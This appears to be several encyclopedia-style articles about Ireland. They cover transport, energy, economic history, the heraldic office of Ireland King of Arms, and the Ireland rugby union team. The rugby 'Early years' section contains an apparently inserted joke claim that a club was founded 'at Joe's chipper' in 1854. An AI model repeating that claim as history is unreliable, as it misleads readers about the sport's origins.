          There are several smaller regional airports: George Best Belfast City Airport, City of Derry Airport (Eglinton), Galway Airport, Kerry Airport (Farranfore), ( Knock), Sligo Airport (Strandhill), Waterford Airport, and Donegal Airport (Carrickfinn). Scheduled services from these regional points are mostly limited to the rest of Ireland and Great Britain.


          Airlines in Ireland include: Aer Lingus (the national airline of Ireland), Ryanair (Europe's largest low cost airline), Aer Arann and CityJet.


          


          Rail
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          The rail network in Ireland was developed by various private companies, some of which received (British) Government funding in the late 19th century. The network reached its greatest extent by 1920. The broad gauge of 1,600 mm (5 ft 3 in) was eventually settled upon throughout the island, although there were also hundreds of kilometres of 914 mm (3 ft) narrow gauge railways.


          Long distance passenger trains in the Republic are managed by Iarnrd ireann (Irish Rail) and connect most major towns and cities across the country.


          In Dublin, two local rail networks provide transportation in the city and its immediate vicinity. The Dublin Area Rapid Transit (DART) links the city centre with coastal suburbs, while a new light rail system named Luas, opened in 2004, transports passengers to the central and western suburbs. Several more Luas lines are planned as well as an eventual upgrade to metro. The DART is run by Iarnrd ireann while the Luas is being run by Veolia under franchise from the Railway Procurement Agency (R.P.A.).


          Under the Irish government's Transport 21 plan, reopening the Navan- Clonsilla rail link, the Cork- Midleton rail link and the Western Rail Corridor are amongst plans for Ireland's railways.


          In Northern Ireland, all rail services are provided by Northern Ireland Railways (N.I.R.), part of Translink. Services in Northern Ireland are sparse in comparison to the rest of Ireland or Britain. A large railway network was severely curtailed in the 1950s and 1960s (in particular by the Ulster Transport Authority). The current situation includes suburban services to Larne, Newry and Bangor, as well as services to Derry. There is also a branch from Coleraine to Portrush. Waterside Station in Derry is the main railway station for Derry as well as County Donegal in Ireland, which no longer has a rail network.


          Ireland also has one of the largest dedicated freight railways in Europe, operated by Bord na Mna. This company has narrow gauge railways totalling 1,930 kilometres (1,200 miles).


          


          Roads
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          Motorists must drive on the left in Ireland, as in Great Britain, Australia, New Zealand, India, Hong Kong, Japan, and a number of other countries. Tourists driving on the wrong side of the road cause serious accidents every year. The island of Ireland has an extensive road network, with a (developing) motorway network fanning out from Belfast, Cork and Dublin. Historically, land owners developed most roads and later Turnpike Trusts collected tolls so that as early as 1800 Ireland had a 16,100 km (10,000 mi) road network.


          In recent years the Irish Government has launched Transport 21 which plans to deliver a world class transport infrastructure system to Ireland. The project is the largest investment ever in Ireland's transport system with 34 billion being invested from 2006 until 2015. Work on a number of projects has already commenced while a number of objectives have already been completed. The Transport 21 plan can largely be divided into five categories, Metro / Luas, Heavy rail, roads, buses and airports. The plan for Transport 21 was announced on 1 November 2005 by the then Minister for Transport, Martin Cullen.


          The year 1815 marked the inauguration of the first horsecar service from Clonmel to Thurles and Limerick run by Charles Bianconi. Now, the main bus companies are Bus ireann in the Republic and Ulsterbus, a division of Translink, in Northern Ireland, both of which offer extensive passenger service in all parts of the island. Dublin Bus specifically serves the greater Dublin area, and a further division of Translink called Metro, operates services within the greater Belfast area. Translink also operate Ulsterbus Foyle in the Derry Urban Area.


          All speed limit signs in the Republic changed to the metric system in 2005. Some direction signs still show distance in miles. Use of imperial measurements are usually limited to pints of beer in pubs, and informal measurement of human height ( feet and inches) and weight (usually stones, but pounds and ounces for infants). However, younger generations tend to use metric units more so than the older generations.


          


          Energy network


          For much of their existence electricity networks in the Republic of Ireland and Northern Ireland were entirely separate. Both networks were designed and constructed independently, but are now connected with three interlinks and also connected through Britain to mainland Europe. The Electricity Supply Board (ESB) in the Republic drove a rural electrification programme in the 1940s until the 1970s.
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          Ireland, north and south has faced difficulties in providing continuous power at peak load. The situation in the North is complicated by the issue of private companies not supplying NIE with enough power, while in the South, the ESB has failed to modernise its power stations. In the latter case, availability of power plants has averaged 66% recently, one of the worst such figures in Western Europe.


          The natural gas network is also now all-Ireland, with an interconnector from Antrim to Scotland, and a further two interconnectors from Dublin to Britain. Most of Ireland's gas now comes through the interconnectors with a decreasing supply from the Kinsale field. The Corrib Gas Field off the coast of County Mayo has yet to come online, and is facing some localised opposition over the controversial decision to refine the gas onshore.


          There have been recent efforts in Ireland to use renewable energy such as wind energy with large wind farms being constructed in coastal counties such as Donegal, Mayo and Antrim. What will be the world's largest offshore wind farm is currently being developed at Arklow Bank off the coast of Wicklow. It is predicted to generate 10% of Ireland's energy needs when it is complete. These constructions have in some cases been delayed by opposition from locals, most recently on Achill Island, some of whom consider the wind turbines to be unsightly. Another issue in the Republic of Ireland is the failure of the aging network to cope with the varying availability of power from such installations. The ESB's Turlough Hill is the only energy storage mechanism in Ireland.


          


          Economy


          In the 1920s and early 1930s, the Republic of Ireland pursued a low-tax, low-spending, non-interventionist approach under the government of W. T. Cosgrave and Cumann na nGaedhael, focused mainly on agriculture, with livestock farming of primary importance. The only notable expense the government went to during this time was for the rural electrification scheme, which saw 5,000,000 spent in constructing the Ardnacrusha hydroelectric power station on the river Shannon (also known as the Shannon Scheme). During this period, 97% of trade was done with Britain. This government favoured free-trade. However many saw this as inadequate after the Wall Street Crash of 1929.
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          In 1932, Eamonn De Valera's Fianna Fil party defeated Cosgrave's party with a solid majority. De Valera's policy was of economic nationalism, a belief in self-sufficiency, and attempted industrialization. Fianna Fil abandoned free trade and put up protective tariffs on almost all manufactured products. In June, 1932 De Valera withheld land annuities, which dated back to the land acts of the 18th and early 19th century, which were until then paid to the British Government. Britain responded by placing tariffs on Irish exports of livestock and by-products. In turn De Valera imposed duties on British coal. This developed into an 'economic war' known as the Anglo-Irish Trade War. The economic war resulted in widespread hardship for Irish farming, which was the backbone of the economy, and which relied on exports to English cities for a market. The tariffs resulted in price increases for many essential manufactured goods, and an increase in the cost of living. High unemployment in richer English speaking countries made emigration from Ireland less of an option, decreasing wages. At this time many Irish industries were established, based of low wages, and protectionist barriers. With the British anticipating war, and the Irish in a dire financial situation, the trade war ended in 1938, with the British agreeing to discontinue land annuity payments from Irish farmers. Fianna Fil established many semi-state organizations for the purposes of utilizing national resources, and marshalling larger scale industries. At this time the Irish economy enjoyed a stable period.


          Fianna Fil remained in power until 1948, when the first coalition government ousted them. To the present day, the two largest parties, Fianna Fil and Fine Gael, have dominated the scene, Fine Gael traditionally being seen as less interventionist in economic matters. Fianna Fil have become less interventionist and more market driven in the early 1990s, especially when in alliance with the small pro-business party, the Progressive Democrats.


          Northern Ireland experienced a boom during World War II, as a result of demand for its principal industries, shipbuilding and linen making, and got a lot of support from the British government thereafter. In comparison, Ireland did not experience a WWII boom and its situation declined relative to Northern Ireland. In the 1950s there was a dramatic decrease in the population of working age, as workers picked up better paid jobs in Britain and North America. This was a period of great concern, with considerable social heamorrhaging taking place in rural Ireland in particular. In the early 1960s, the new Fianna Fil leader Sen Lemass abandoned its previous protectionist policies, and embarked on a programme of economic reform. Serious efforts were made to attract inward investment from the United States in particular, and to a lesser extent West Germany, and Japan. Purpose built industrial estates were developed in most large towns. Rural Electrification, the division of large estates, and agricultural scientific education resulted in dramatic increases in agricultural output in the 1960s. In 1972, second level education was made free and compulsory. Ireland applied to join the European Economic Community, gaining entry in 1973 along with Britain.


          From 1973 to 1983, the island of Ireland was hit by two oil crises, a series of bank strikes that paralysed business activity for 18 months, poor industrial relations, public pay rises, and runaway inflation. However, poor management of the state finances was being addressed with repeated increases in taxation of all beneficial activity, until employment became less attractive than welfare. At the same time it was found that Irish industry was completely unprepared for competition that arose as a result of free trade with continental Europe. Ireland's heavy industries, located primarily in Cork, almost disappeared between 1982 and 1984. Agriculture, the only sector of the economy which was competitive at this stage, was constrained by production quotas, and prevented from taking up the slack in the economy. At the same time Ireland was producing its first generation where university education was widely attained. There was mass unemployment, with many people with tertiary education working minimum wage jobs or being out of work. Emigration returned to 50,000 per year. From 1982 to 1986 the national debt had doubled, mostly due to stabilisation policies like welfare, gigantic subsidies to semistate organisations and public utilities, and an effort to reduce inflation and stabilise the currency.


          This situation changed dramatically in the mid 1990s as the result of a prodigious economic boom, known as the " Celtic Tiger" (as in " tiger economy"). This was led by a surge in inward investment in high end industries in services, and lower taxation levels. From 2002, this was augmented by low interest rates set by the European Central Bank which encourage private sector consumption. In July 2006, a survey undertaken by Bank of Ireland Private Banking showed that, of the top 8 leading OECD nations, the Republic of Ireland was ranked the second wealthiest per capita country in the world, showing an average wealth per head of nearly 150,000 (~ $190,000). This is behind Japan, and ahead of other countries such as the United States, United Kingdom and Germany.


          Education in Ireland is free at all levels, including college (university).


          In 2005, Ireland was ranked the best place to live in the world, according to a " quality of life" assessment by Economist magazine. The country's combination of increasing wealth and traditional values gives it the conditions most likely to make its people happy, the survey found. These conditions include health, freedom, unemployment, family life, climate, political stability and security, gender equality and family and community life. The Economist said: "Ireland wins because it successfully combines the most desirable elements of the new, such as low unemployment and political liberties, with the preservation of certain cosy elements of the old, such as stable family and community life."


          The rosy reports and GDP figures mask several underlying imbalances. The construction sector, which is inherently cyclical in nature, now accounts for a significant component of Ireland's GDP. This was being driven by low interest-rates and the fact that Ireland is one of the few countries in the OECD not to have residential housing or water rates. A recent downturn in residential property market sentiment has highlighted the over-exposure of the Irish economy to construction, which now presents a threat to economic growth. Several successive years of unbalanced economic growth have also led to huge inequality between the strata of Irish society (see Economy of the Republic of Ireland - Recent developments), as well as significant environmental degradation, including rapid loss of biodiversity and erosion of natural and cultural heritage , and the highest per-capita rise in greenhouse gas emissions in the European Union since the Kyoto Protocol came into effect .
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        Ireland King of Arms


        
          

          Ireland King of Arms was the title of an Irish officer of arms from 1392 until the accession of Henry VII as King of England in 1485. The office was replaced in 1552 by that of Ulster King of Arms, which in 1943 was merged with Norroy King of Arms forming the present office of Norroy and Ulster King of Arms. In theory, Ireland King of Arms enjoyed heraldic jurisdiction in the whole of the Lordship of Ireland.


          


          Origins of the office


          In 1392, King Richard II of England created the first in a succession of Ireland kings of arms. It is unknown why such an office was called into being. Froissart notes the creation of Chandos le Roy d'Ireland, but does not give any clues as to the reasoning. It does, however, fit into the general English policy in Ireland at the time. Richard II sought to re-establish English control in those areas of the colony where the native Irish had reasserted their independence. The appointment can be seen, then as a necessary part of the preparations for the appointment of the Duke of Gloucester as Lord Lieutenant of Ireland in 1392. Richard planned Gloucester to lead a major military campaign and such a campaign would necessitate the involvement of heralds to marshal arms and provide advice and evidence in case of heraldic disputes.


          Richard and Gloucester's campaign of 1392 never happened but Richard did leave for Ireland in 1394 with a large army and one John Othelake, who had succeeded Chandos as Ireland King of Arms in 1393. No details are given of Othelake's career as Ireland King of Arms, though he certainly had a connection with Ireland as an officer of arms to the Earl of March in 1381. The historical evidence does not even make clear how long Othelake served in this position.


          It is clear that Othelake was no longer enjoying the office by 1420. By this time, John Kitley had been appointed to the post, though the exact date of his appointment is unknown. He was appointed by King Henry V of England on the insistence of the Earl of Ormonde. There is no evidence to suggest that Kitley had any connection to Ireland, or even that he visited it, but his connection to Earl of Ormonde is interesting. Kitley was succeeded by Thomas Collyer, who had previously served as Clarenceux King of Arms and Lancaster Herald of Arms in Ordinary. Nothing is known of his career as Ireland, and he was succeeded by one Thomas Ashwell.


          


          Walter Bellinger


          Walter Bellinger enjoyed the office of Ireland King of Arms from at least as early as 1468. This is proven by the fact that on 3 June 1469, King Edward IV granted Bellinger a pension of 20 per annum for his service as Ireland. The same writ states that he had been appointed 9 June the year before. It has been established that Bellinger was a native of Dieppe and had served as a herald for fifty five years by 1477. He accompanied his King to France and acted as an ambassador from him to the French court in the discussions preceding the Treaty of Picquigny. The King gave him the value of 200 silver marks for his services in this affair. He appears to have continued to hold the office of Ireland King of Arms until the reign of Henry VII of England. After Bellinger, no one was appointed to fill the office.


          


          Impact and Legacy


          While the office existed, Ireland Kings of Arms made only three grants of arms. All of these were made by Bellinger and two of them were disallowed in the Court of Chivalry. It would seem that Ireland King of Arms was given no jurisdiction to make grants in England and the only grant that was upheld was made to one Jehan Baret of Picardy. There is no evidence to suggest that any of the holders ever attempted to exercise control over the heraldic practice of Ireland. In 1552, Bartholomew Butler was created Ulster King of Arms. This can be seen to some extent as a revival of the more ancient office of Ireland, but between the suspension of Bellinger and the appointment of Butler, there lapsed 60 to 70 years. During this time, no king of Arms existed for Ireland. Since the creation of Ulster King of Arms, there has been effective control exercised over the heraldic affairs of Ireland, but this has come from the College of Arms in London. It is interesting that heraldic authority in Ireland transferred from a national king of arms to a newly created provincial king of arms. Today, the office of Ulster King of Arms has been merged with that of Norroy King of Arms to form Norroy and Ulster King of Arms.
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              	Ireland
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              	Union

              	Irish Rugby Football Union
            


            
              	Emblem(s)

              	the Shamrock
            


            
              	Ground(s)

              	Croke Park (temporarily)
            


            
              	Coach

              	[image: Flag of Ireland] Eddie O'Sullivan
            


            
              	Captain

              	Brian O'Driscoll
            


            
              	Most caps

              	Malcolm O'Kelly (92)
            


            
              	Top scorer

              	Ronan O'Gara (790)
            


            
              	Most tries

              	Brian O'Driscoll (31)
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              	First international
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              ( 15 February 1875)
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              ( 10 June 2000)
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              ( 6 June 1992)
            


            
              	World Cup
            


            
              	Appearances

              	6 (First in 1987)
            


            
              	Best result

              	Quarter Finals, 1987, 1991, 1995, 2003,
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          The Ireland rugby union team represents both the Republic of Ireland and Northern Ireland in rugby union, a popular sport throughout Ireland although the dominant one only in limited geographical areas. Ireland compete annually in the Six Nations Championship (which they have won ten times outright and of which they have shared the championship eight times) and in the Rugby World Cup every four years where they have been eliminated at the quarter-final stage in all but one competition. They also form a quarter of the British and Irish Lions. Eight former Ireland players have earned induction into the International Rugby Hall of Fame.


          Historically, Ireland have been the least successful of the rugby union home nations, with the fewest number of Six Nations Championships (10) and Grand Slams (one). Ireland have also been regular winners of the wooden spoon in the Six Nations Championship and its predecessor tournaments. However, Irish rugby union is widely acknowledged to have made the transition to professionalism more successfully than other middle-ranking rugby powers (such as Wales and Scotland) and Ireland have churned out good results, especially for a nation with a population of only six million (when combining the Republic of Ireland and the Northern Ireland) with strong competition for players with Gaelic games and soccer. They have won three Triple Crowns in the last four years. Outside centre Brian O'Driscoll, the current captain and Ireland's current all-time leading try scorer, is frequently named as one of the finest rugby players in the world. Other world class players on the side include centre Gordon D'Arcy; wing Denis Hickie, currently second to O'Driscoll on the Ireland try scoring list; eight, Denis Leamy; lock, Paul O'Connell; out half and all-time leading Ireland points scorer Ronan O'Gara; and back row forward, David Wallace. In the recent past, Keith Wood, O'Driscoll's predecessor as Ireland captain before retiring in 2003, was the inaugural IRB International Player of the Year in 2001.


          After their 2006 Autumn internationals match against Australia, Ireland climbed to third in the world on the International Rugby Board (IRB) World Rankings; a position they had not seen since the ratings began in 2003. Despite remaining unbeaten in the end of year Tests, they dropped to fifth in the world rankings, before rising to fourth after their opening 2007 Six Nations victory over Wales, but have recently dropped back to fifth after the 2007 Six Nations defeat to France but bounced back in their follow up match against England with a record 43-13 victory. They recently won the 2007 Triple Crown trophy narrowly defeating Scotland 19-18 in Murrayfield, and lost the 2007 Six Nations Championship to France when Elvis Vermeulen of Les Bleus was awarded a try by the Irish television match official at the death against Scotland that gave them the championship on points difference. Ireland performed well below par in the 2007 World Cup. They were knocked out in the pool stages after losing to Argentina.


          


          History


          


          Early years


          Caid is an ancient sport played in Ireland with strong similarities to rugby, it was played within a defined space and between a predetermined number of players. The Cork born Peter Shorten founded a club at Joe's chipper in 1854, in Cork. By 1867, Trinity second XV were playing matches against St. Columbas College and Hume High Street, two Leinster schools and, importantly for the game in the north of the country, Royal School, Dungannon. Following the adoption of a set of official rules in 1868, rugby football began to spread quickly throughout Ireland.
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          In 1874, the Irish Football Union (reconstituted as the Irish Rugby Football Union after unification with the North of Ireland Union) was formed. Ireland lost their first test match against England 7-0 at the Oval on the 15 February 1875. Interestingly, both teams fielded 20 players in this match. Ireland's first home game was also against England in the same year held at the Leinster Cricket Club in Rathmines as Lansdowne Road was deemed unsuitable. The first match at Lansdowne Road was held on March 11, 1878 with England beating Ireland by 2 goals and 1 try to nil.


          It was not until 1881 that they first won a test, against Scotland at Ormeau in Belfast. Ireland turned up two men short for their game in Cardiff in 1884 and had to borrow two Welsh players. The first victory Ireland had at Lansdowne Road took place on February 5, 1887. It was also their first win over England, by two goals to nil. On the third of March 1888, Ireland recorded their first win over Wales with a goal, a try and a drop goal to nil.


          In 1894 for the first time, Ireland followed the Welsh model of using seven backs instead of six. After victory over England at Blackheath, Ireland won back-to-back matches for the first time when recording their first win over Scotland on 24 February 1894. Ireland went on to beat Wales in Belfast and win the Triple Crown for the first time.


          In the 1890s Rugby was primarily a game for the Protestant middle class, the only Catholic in Edmund Forrests 1894 team was Tom Crean. Of the eighteen players used in the three games, thirteen were from three Dublin clubs Wanderers, Dublin University and Bective Rangers  and the remaining five were from Ulster. They went on to win the Home international championship twice more before the old century was out (1896 and 1899), so that by 1900 all four of the Home Unions had tasted success at a game that was growing in popularity with players and spectators.


          


          Twentieth century
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          Such was the level of interest in the visit of the first All Blacks team to Dublin in November 1905 that the IRFU made the match the first all-ticket rugby international in history. Ireland played only seven forwards, copying the then New Zealand method of playing a "rover". The game ended New Zealand 15 Ireland 0.


          On March 20, 1909, Ireland played France for the first time, beating them 19-8. This was Ireland's biggest victory in international rugby at that time, their highest points tally and a record five tries. November 30, 1912 was the first time the Springboks met Ireland at Lansdowne Road, the 1906 tour game having been played at Ravenhill. Ireland with seven new caps were overwhelmed by a record margin of 38-0, still a record loss to South Africa who scored 10 tries. In 1926, Ireland went into their final Five Nations match unbeaten and with the Grand Slam at stake lost to Wales in Swansea. Ireland again came close to a grand slam in 1927 when their sole loss was an 8-6 defeat by England.


          


          Post war


          Ireland's finest hour arguably came in 1948 when, inspired by tactician and fly-half Jack Kyle, they beat France in Paris, England at Twickenham and a 6-0 win over Scotland at Lansdowne Road. They clinched their only Grand Slam in the Five Nations with a win against Wales at Ravenhill, Belfast. Ireland were champions and Triple Crown winners again in 1949.


          The Irish used only 19 players in clinching the 1949 Championship and Triple Crown, only the fourth time that the Triple Crown had been retained by a home nation.


          In 1951, Ireland were once more crowned outright Five Nations champions and were unbeaten going into their final game. They failed to win the Grand Slam or Triple Crown following a 3-3 draw with Wales in Cardiff.


          The year of 1952 saw only Ireland's second overseas tour, the first for over half a century - as they headed to Argentina for a nine-match trip which included two Test matches. Ireland won six, drew two and lost one of the matches, their Test record being won one, drawn one.


          On February 27, 1954, Ireland were due to play Scotland at Ravenhill in Belfast. The new Irish captain, Jim McCarthy, told IRFU president Sarsfield Hogan that the eleven Republic-based players would not stand for "God save the Queen" alongside the Scottish team. It was agreed that an abbreviated anthem, known in Ulster as "the Salute", would be played that afternoon and that the Irish team would never play again at Ravenhill. Ireland went on to beat Scotland 6-0 but would not play in Northern Ireland again until 2007.


          On January 18, 1958 Ireland beat Australia 9-6 in Dublin, this was the first time a major touring team had been defeated.


          


          Sixties and seventies


          Ireland managed just three victories in the Five Nations Championship; against England in 1961, Wales in 1963 and England again in 1964. There were also draws against England and Wales at Lansdowne Road to the end of 1964.


          1965 saw an improvement as Ireland drew with France before beating England and Scotland, only for their Triple Crown hopes disappear against Wales in Cardiff. On April 10, 1965 Ireland recorded their first ever win over South Africa. The match, held at Lansdowne Road, was heading for a draw with the score at six points each, when Tom Kiernan won the match for Ireland with a late penalty. Ireland beat Australia again in Dublin in 1967 and became the first of the home nations to win in the Southern Hemisphere when they beat Australia in Sydney in May 1967.


          On 26 October 1968, Ireland made it four successive wins over the Wallabies with a 16-3 win at Lansdowne Road.


          In 1969, Ireland claimed a 17-9 victory over France at Lansdowne Road in the Five Nations, a first victory over Les Bleus in 11 years. They were again unbeaten going into their final game in Cardiff but Wales denied them a Grand Slam for the third time. In the autumn of 1969, the Irish Rugby Football Union decided to appoint a coach for the national team for the first time, the role went to Ronnie Dawson.


          The 1972 Five Nations Championship was not completed when Scotland and then Wales refused to play in Ireland following threatening letters to players, purportedly from the IRA. The championship remained unresolved with Wales and Ireland unbeaten. In 1973, despite similar threats, England fulfilled their fixture and were given a standing ovation that lasted for five minutes. Ireland won 18-9 and at the after-match dinner the England captain, John Pullin famously remarked "We might not be very good but at least we turn up". Ireland came close to a first win over the All Blacks on January 20, 1973 but with the score at 10-10 an Irish conversion attempt was pushed wide by a gust of wind. In the final match of the 1974 season, Ireland won their first six nations championship since 1951.


          Roly Meates was national coach from 1975 to 1977 and Noel Murphy from 1977 to 1980. Willie John McBride was coach until 1984.


          


          Eighties and nineties


          In 1982 Ireland came close to winning a Grand Slam but were beaten by France in Paris. They beat Scotland, Wales and England to win the championship and their first Triple Crown in 33 years.


          Three years after their last Triple Crown win, Ireland, coached by Mick Doyle, came out in 1985 and won the Championship and the Triple Crown again. They beat Scotland and Wales. The French again prevented Ireland from claiming a Grand Slam after a 15-15 draw in Dublin. Ireland played England at Lansdowne Road and won the championship with a last minute drop goal from Michael Kiernan. The match ended 13-10 to Ireland. It would be Ireland's last silverware until 2004.


          Ireland were whitewashed in the 1986 Five Nations Championship but on November 1, 1986, Ireland made history when they scored 10 tries against Romania in a 60-0 win. It was the biggest win in international rugby at the time, equaling the French record set in 1967.


          At the inaugural World Cup in 1987, two straightforward victories over Tonga and Canada were enough to see Ireland through to the quarter-finals, when they travelled to Sydney to face the joint hosts Australia, only to be beaten 35-15.


          In the Five Nations, England and France were dominant throughout the decade, resulting in the others scrapping around for the odd Championship title. Ireland didn't manage to win the trophy once in the whole decade and worse never finished outside the bottom two.


          The second Rugby World Cup took place in Britain, Ireland and France in 1991. Ireland found themselves in the same pool as Scotland. After two easy wins over Japan and Zimbabwe, Scotland sneaked a 28-25 win at Murrayfield. Ireland would play the Wallabies at Lansdowne Road in the quarter final. Ireland appeared to be on the verge of a shock victory over Australia, when Michael Lynagh scored the winning try to clinch a 19-18 win for Australia.


          At the 1994 Five Nations Championship, Ireland beat Will Carling's all-conquering England at Twickenham.


          At the 1995 World Cup in South Africa, Ireland were in a group containing the All Blacks and Wales. In a close game in Johannesburg, Ireland sneaked through 24-23 against Wales to make their third consecutive quarter-final appearance. Unfortunately France proved too strong, with Ireland going down 36-12.


          


          Professional era
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          Three years running Ireland finished bottom in the Five Nations Championship (1996, 1997 and 1998). Englishman Brian Ashton was head coach between 1997 and 1998. Ashton had been awarded a six year contract by the IRFU but resigned barely 12 months later after a series of disappointing results. Warren Gatland took over as coach in 1998. 1999 was the first time Ireland had failed to reach the last eight at a Rugby World Cup. From this nadir, however, Irish rugby improved rapidly. With the advent of professionalism, the Irish Rugby Football Union decided to convert the four representative provincial sides into de facto club sides, with the financial capacity to retain top talent in Ireland, yet retaining strong links with amateur clubs and schools to enable young talent to be brought up through the ranks. The close geographical proximity of most of the Irish international squad helped cement relationships between the players in a way that would not have been possible had they left for English, French and Southern Hemisphere clubs. The later formation of the Celtic League (Now Magners League) cemented this strategy by ensuring that provincial sides had a regular diet of competitive rugby.


          The 1999 World Cup was staged in Wales though Ireland played all their pool games in Dublin. A defeat to the Wallabies meant Ireland having to go down the play-off route. Playing away from Lansdowne Road for the first time in the competition, Ireland were beaten 28-24 by Argentina in Lens.


          The advent of the new Six Nations format coincided with this Irish resurgence, and they became the strongest of the Celtic nations. In 2001 the rugby union season was disrupted due to the foot and mouth crisis in Britain. Ireland were good enough to beat France but were unable to play Scotland until the Autumn and were caught cold losing 32-10. They were still good enough to beat England, spoiling their hopes of a Grand Slam, and finishing second on points difference. Eddie O'Sullivan took over as coach from Warren Gatland in November 2001 following the New Zealander's sacking.


          The 2003 Six Nations came down to the wire with Ireland and England playing a Grand Slam decider at Lansdowne Rd. England, however, won 42-6. That defeat ended an unbeaten run that stretched back 10 Tests to their Rugby World Cup qualifiers warm up against Romania in September 2002 and included defeats of Pool A rivals Australia and Argentina at Lansdowne Road. In 2004 they lost their opening game against France but became the first team to beat England following their World Cup win. They finished second in the table behind France and won the Triple Crown.


          In 2005 Ireland were considered slight favourites entering the competition, and won their first three matches, including a 19-13 defeat of England in Dublin. However, Ireland's dreams of their first Grand Slam since 1948 were ended with a 26-19 home loss to France. In the final round, Wales defeated Ireland 32-20 at Millennium Stadium in Cardiff to win the Grand Slam. Ireland finished in 3rd place. In 2006, Ireland showed the capacity to play top class rugby, but only inconsistently - a rout of Wales was balanced by uncertain victories against England, Scotland and Italy and a comprehensive defeat by winners France. Ireland finished second and won the Triple Crown for the second time in three years, incidentally the first ever time a trophy had been awarded for the feat.


          They then embarked on their annual tour to the southern hemisphere. There they ran New Zealand close twice before a tired Ireland were thumped by the Wallabies in Perth. They returned to their clubs before they gathered once more for the last Autumn Internationals at Lansdowne Road. The South Africans came with an experimental side with an eye on the Rugby World Cup 2007, which was soundly beaten by the Irish 32-15. Next to Lansdowne were Australia also experimenting, the weather ruined what many had tipped to be the battle of the backlines, although Geordan Murphy finished off a world class move in their 21-6 victory. That win propelled Ireland to a best ever height of 3rd in the IRB World Rankings. In the final international match at Lansdowne, Ireland thumped the Pacific Islanders 61-17,with Paddy Wallace putting in a man of the match performance with 26 points. The win completed a hat-trick of victories.


          In March 2007 the IRFU created the "High Performance Select Group" of up and coming Irish players who have been earmarked for future Irish teams. This group includes Luke Fitzgerald, Barry Murphy, Tommy Bowe, Kieran Lewis, Ronnie McCormack, Trevor Hogan, Robert Kearney, Daniel Riordan, Stephen Ferris, Roger Wilson, Bryan Young and Jamie Heaslip some of whom have already been capped. The aim of the group is to provide these young players with the support and infrastructure available to the senior squad and to ease their future transition into the Irish team.


          With the announcement of the rebuilding of Lansdowne Road, a new venue was required to stage Ireland's home internationals. While Ireland are planning to play one of their warm up matches for the 2007 World Cup at Ravenhill, the only stadium in Ireland capable of holding major rugby internationals was Croke Park, home of the Gaelic Athletic Association. To accommodate this, the GAA temporarily relaxed its rule governing the playing of so-called "foreign games" on its property. Initially, two Six Nations games were played at Croke Park during 2007; the first was a 17-20 loss to France, and the second a 43 to 13 win over England.


          


          Flags and anthems
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          The Irish rugby union team is one of a few national sporting teams on the island that draws widespread support in both "Irelands" from both nationalist and unionist communities. As Ireland represents players from different sovereign territories, there has been controversy over the flags and anthems. When Irish internationals were played alternately in Belfast and Dublin, the British national anthem " God Save the Queen" was played for matches in Belfast and the national anthem of the Republic of Ireland " Amhrn na bhFiann" was played for matches in Dublin. No anthem was played at away games.


          Since April 1995, a specially composed anthem, " Ireland's Call" has been used by the Irish team in away games. This has prompted some players and supporters from the Republic to complain that "Amhrn na bhFiann" should be played. At games played in Dublin "Ireland's Call" is always used alongside "Amhrn na bhFiann". This use of "Amhrn na bhFiann" has caused similar complaints from players and supporters from Northern Ireland. With Ireland's friendly game against Italy in the run up to the Rugby World Cup scheduled to be held in Belfast, there were calls for "God Save the Queen" to be used alongside Ireland's Call but this was turned down by the IRFU with the explanation given that it was not a 'home' match because the team would be playing "outside Ireland".


          Similarly, the Irish tricolour, the official flag of the Republic of Ireland is flown only when playing in the Republic and even then not as being representative of the team. A flag with symbols representing the four provinces of Ireland, is flown alongside the Irish tricolour in Dublin, and is used exclusively when playing elsewhere. At some matches, the standard of the island's rugby union governing body, the Irish Rugby Football Union, is displayed on the field during pre-match ceremonies. Many supporters in the crowd at Ireland matches wave the tricolour of the Republic of Ireland, though part of Ireland is not in the Republic of Ireland. Many supporters in the crowd at Ulster games (one of the four professional Irish teams) wave Northern Ireland flags though part of Ulster is in the Republic of Ireland.


          


          Home grounds
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          The traditional home of Irish rugby is the Lansdowne Road stadium in Dublin, where most of Ireland's home matches are held. The stadium, owned by the Irish Rugby Football Union, was built in 1872 and is the oldest international rugby venue that is still used for the sport. In 1878 the ground hosted its first rugby Test, with Ireland playing host to the English (the first representative rugby match had taken place prior to the Test, a game between Ulster and Leinster). Lansdowne Road had a capacity of just over 49,000 before it was demolished in Summer 2007. The ground will be renovated up to a 50,000 all-seater by around 2009. The final Irish Test prior to work commencing on the stadium was against the Pacific Islanders in late 2006. With Lansdowne Road unavailable for use, Ireland was without a suitbale home ground for the subsequent Six Nations. The Gaelic Athletic Association (GAA) owned Croke Park (an 82,500 capacity stadium) was made available for Ireland's two home games against France and England in 2007. It was the first time ever that rugby was played at the venue.


          Although Ireland has never totally hosted the Rugby World Cup, select games from both the 1991 and 1999 World Cups were played throughout venues in Ireland. Pool B in 1991 was mainly played in Ireland and Scotland, with two games at Lansdowne Road (involving Ireland) and one (Zimbabwe v Japan) played at Ravenhill, Belfast. A quarter-final and a semi-final were also hosted by Dublin. A similar system was used in 1999, though in addition to Lansdowne and Ravenhill, Thomond Park was also a venue. Lansdowne Road was also the host of a quarter-final in 1999. Ireland were set to host matches at Lansdowne Road for the 2007 Rugby World Cup, but due to scheduling conflicts with the reconstruction of the stadium, they decided not to host any.


          


          Record


          


          Six Nations


          The Six Nations Championship, held every year in February and March is Ireland's only annual tournament. It is contested against England, France, Italy, Scotland and Wales. Ireland was a member of the inaugural Home Nations in 1883 - with France and Italy joining later to form the Five and Six Nations respectively. Ireland won their first championship in 1894, winning the Triple Crown also. Ireland's first (and to date - only) Grand Slam occurred in the 1948 season. In total Ireland have been champions on 10 occasions.
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              	Tournaments

              	107

              	77

              	107

              	9

              	107

              	107
            


            
              	Outright Wins (Shared Wins)

              	25 (10)

              	16 (7)

              	10 (8)

              	0 (0)

              	14 (8)

              	24 (11)
            


            
              	Grand Slams

              	12

              	8

              	1

              	0

              	3

              	10
            


            
              	Triple Crowns

              	23

              	N/A

              	9

              	N/A

              	10

              	20
            

          


          


          World Cup


          Ireland have competed at every Rugby World Cup since the tournament was first held in Australia and New Zealand in 1987. The furthest Ireland have progressed at any World Cup has been to the quarter-finals, which they have made four times. After a loss to Wales, Ireland finished second in their pool in 1987 but were then knocked out by Australia in their quarter final in Sydney. In 1991 Ireland again lost only the one match in pool play (to Scotland). They again met the Australians in the quarter-finals, who defeated them by one point. Runner-up in their pool in 1995 to the All Blacks, Ireland were defeated by France in their quarter-final in Durban.


